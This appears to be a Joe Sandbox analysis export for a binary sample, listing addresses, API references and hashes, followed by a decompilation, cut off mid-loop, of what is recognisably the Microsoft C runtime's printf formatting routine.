0x00000000
0x00000000
0x00000000
0x004275f2
0x004275f5
0x004275f8
0x00000000
0x00000000
0x004275fd
0x00427600
0x00427605
0x00000000
0x00000000
0x004275e7
0x004275e7
0x004275ea
0x004275ed
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275e2
0x00000000
0x00000000
0x0042760a
0x0042760a
0x0042760d
0x00427610
0x00000000
0x00000000
0x00427613
0x00000000
0x00000000
0x0042746d
0x0042823e
0x00428244
0x0042824d
0x00428252
0x00000000
0x00428252
0x0042803d
0x00428043
0x0042804d
0x00428062
0x00428077
0x00428079
0x0042807d
0x0042807d
0x00428064
0x00428064
0x00428068
0x00428068
0x0042804f
0x0042804f
0x00428053
0x00428053
0x0042804d
0x0042808d
0x00428099
0x004280af
0x004280b4
0x004280b4
0x004280ca
0x004280cf
0x004280d8
0x004280f6
0x004280fb
0x004280fb
0x00428102
0x004281d6
0x004281e9
0x004281ee
0x00000000
0x00428112
0x00428112
0x00428112
0x0042811f
0x00428128
0x0042812e
0x0042812e
0x0042813d
0x00428145
0x00000000
0x00000000
0x0042814b
0x00428154
0x00428173
0x00428178
0x0042817b
0x0042818a
0x00428197
0x004281a2
0x004281a2
0x00000000
0x004281ae
0x004281ae
0x004281c7
0x004281cc
0x00000000
0x004281cc
0x00428197
0x004281d4
0x004281f1
0x004281f8
0x00428216
0x0042821b
0x0042821b
0x00000000
0x004281f8
0x004277ef
0x004277ef
0x004277f6
0x004277fc
0x00427802
0x00427805
0x0042780b
0x0042781e
0x0042781e
0x00427825
0x00000000
0x00427b7f
0x00427b7f
0x00427b86
0x00427b8d
0x00427b90
0x00000000
0x00000000
0x0042782c
0x0042782f
0x00427835
0x0042783a
0x0042783f
0x0042783f
0x00000000
0x00000000
0x0042796c
0x0042796f
0x00427974
0x00427979
0x0042797f
0x0042797f
0x00000000
0x00000000
0x00427d4c
0x00427d4c
0x00000000
0x00000000
0x004278d6
0x004278d6
0x004278e2
0x004278ef
0x004278fd
0x004278fd
0x00427903
0x00427906
0x00427912
0x00427967
0x00000000
0x00427967
0x004278f1
0x004278f1
0x004278fb
0x00427917
0x0042791a
0x00427920
0x00427948
0x0042794f
0x00427955
0x00427958
0x0042795b
0x00427961
0x00427964
0x00427922
0x00427922
0x00427928
0x0042792b
0x0042792e
0x00427934
0x00427937
0x0042793a
0x0042793c
0x0042793f
0x0042793f
0x00000000
0x00427920
0x00000000
0x00000000
0x00427b96
0x00427b99
0x00427b9c
0x00427b9f
0x00427ba5
0x00427ba8
0x00427bb3
0x00427bbe
0x00427bc2
0x00427bd9
0x00427be0
0x00427be2
0x00427be2
0x00427be9
0x00427bf0
0x00427c01
0x00427c10
0x00427c17
0x00427c2d
0x00427c19
0x00427c19
0x00427c1c
0x00427c22
0x00427c28
0x00427c28
0x00427c17
0x00427c37
0x00427c3a
0x00427c3d
0x00427c40
0x00427c40
0x00427c43
0x00427c43
0x00427c46
0x00427c4c
0x00427c52
0x00427c5a
0x00427c5b
0x00427c5e
0x00427c5f
0x00427c62
0x00427c63
0x00427c6a
0x00427c6b
0x00427c6e
0x00427c6f
0x00427c72
0x00427c73
0x00427c79
0x00427c7a
0x00427c88
0x00427c8a
0x00427c90
0x00427c96
0x00427c9e
0x00427ca6
0x00427ca7
0x00427caa
0x00427cab
0x00427cb9
0x00427cbb
0x00427cbb
0x00427cbe
0x00427cc8
0x00427ccd
0x00427cd3
0x00427cd5
0x00427cdd
0x00427cde
0x00427ce1
0x00427ce2
0x00427cf1
0x00427cf3
0x00427cf3
0x00427cd3
0x00427cf6
0x00427cf9
0x00427cff
0x00427d04
0x00427d0a
0x00427d10
0x00427d13
0x00427d13
0x00427d16
0x00427d22
0x00000000
0x00427d22
0x00427bc4
0x00427bc4
0x00427bce
0x00000000
0x00000000
0x00427bd0
0x00427bd0
0x00000000
0x00427bd0
0x00427bb5
0x00427bb5
0x00000000
0x00000000
0x00427842
0x00427845
0x0042784b
0x004278a6
0x004278ae
0x004278b5
0x004278bb
0x004278c1
0x0042784d
0x0042784d
0x00427857
0x0042785b
0x00427863
0x0042786a
0x00427877
0x0042787e
0x0042788a
0x00427897
0x00427899
0x00427899
0x004278a0
0x004278c8
0x004278ce
0x00000000
0x00000000
0x00427d2a
0x00427d2d
0x00427d30
0x00427d33
0x00000000
0x00000000
0x00427a88
0x00427a88
0x00427a94
0x00427aa1
0x00427b4b
0x00427b4e
0x00427b51
0x00427b65
0x00427b6b
0x00427b71
0x00427b53
0x00427b53
0x00427b60
0x00427b60
0x00427b73
0x00000000
0x00427b73
0x00427aa7
0x00427aa7
0x00427aa9
0x00427ab7
0x00427aab
0x00427aab
0x00427aab
0x00427ac1
0x00427ac7
0x00427ad4
0x00427ad6
0x00427adb
0x00427add
0x00427ae2
0x00427ae7
0x00427ae9
0x00427aee
0x00427af4
0x00427af6
0x00427af6
0x00427af4
0x00427afe
0x00427b46
0x00000000
0x00427b00
0x00427b00
0x00427b05
0x00427b21
0x00427b29
0x00427b33
0x00427b36
0x00427b3b
0x00000000
0x00427b3b
0x00000000
0x00427d8d
0x00427d8d
0x00427d97
0x00427d9d
0x00427da2
0x00427da8
0x00427da8
0x00000000
0x00000000
0x00427d45
0x00427d45
0x00000000
0x00000000
0x00427982
0x00427986
0x00427994
0x00427997
0x00427988
0x00427988
0x00427988
0x0042799d
0x004279a3
0x004279a9
0x004279b5
0x004279bb
0x004279c1
0x00427a28
0x00427a2c
0x00427a2e
0x00427a34
0x00427a34
0x00427a37
0x00427a3a
0x00427a40
0x00427a40
0x00427a40
0x00427a4c
0x00427a4f
0x00427a57
0x00000000
0x00000000
0x00427a59
0x00427a59
0x00427a5f
0x00427a64
0x00000000
0x00000000
0x00427a66
0x00427a6c
0x00427a6f
0x00427a6f
0x00427a77
0x00427a7d
0x00427a80
0x00000000
0x004279c3
0x004279c3
0x004279c7
0x004279c9
0x004279ce
0x004279ce
0x004279d1
0x004279d8
0x004279db
0x004279e1
0x004279e1
0x004279e1
0x004279ed
0x004279f0
0x004279f8
0x00000000
0x00000000
0x004279fa
0x004279fa
0x00427a00
0x00427a05
0x00000000
0x00000000
0x00427a07
0x00427a0d
0x00427a10
0x00427a10
0x00427a18
0x00427a1e
0x00427a21
0x00427a23
0x00427a83
0x00000000
0x00427a83
0x00000000
0x00000000
0x00000000
0x00427d58
0x00427d58
0x00427d62
0x00427d62
0x00427d6c
0x00427d72
0x00427d74
0x00427d7e
0x00427d81
0x00427d84
0x00427d84
0x00000000
0x00000000
0x00000000
0x00000000
0x00427825
0x00428033
0x00428033
0x00428033
0x00428033
0x00428033
0x00428033
0x00428033
0x00427e90
0x00427e87
0x00427dab
0x00427dab
0x00427dab

APIs

_get_int64_arg.LIBCMTD ref: 00427DB9
_get_int64_arg.LIBCMTD ref: 00427DE1
__aullrem.LIBCMT ref: 00427F86
__aulldiv.LIBCMT ref: 00427FA8

Strings

9, xrefs: 00427FB9

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: 97ae265399d0a0db36923c59b1b3355039df7f54a5eaa8e5bfd67c666e474b5f
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: EB410371E08229DFDB64DF48E989BAEB7B4BF84300F5045DAE409A7201C7389E80CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00434FAB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434FAB(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E00428370(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E00428370(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E00428370(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E00428370(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428390(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428390(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E004307A0(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E00430820( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C550( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435580))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E00431230( *(_t699 - 0x251) & 0x000000ff, E0041AE60(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435690( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00435690( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E390();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422E80(_t614))) = 0x16;
																									E00422C10(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041AE30(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x4355b8; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M004355A0))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x4355e0; // 0x4dee9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004355CC))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E390();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E80(_t616))) = 0x16;
																						E00422C10(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041AE30(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BCD0(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E390();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041AE30(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422E80(_t603))) = 0x16;
																				E00422C10(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041AE30(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E00435730(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E00435770( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
																		if(( *(_t699 - 0x10) & 0x00000008) != 0 && ( *(_t699 - 0x10) & 0x00000004) == 0) {
																			E00435730(0x30,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		if( *(_t699 - 0xc) == 0 ||  *((intOrPtr*)(_t699 - 0x24)) <= 0) {
																			L212:
																			E00435770( *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 0x24)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t699 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 4));
																			 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x24));
																			while(1) {
																				L206:
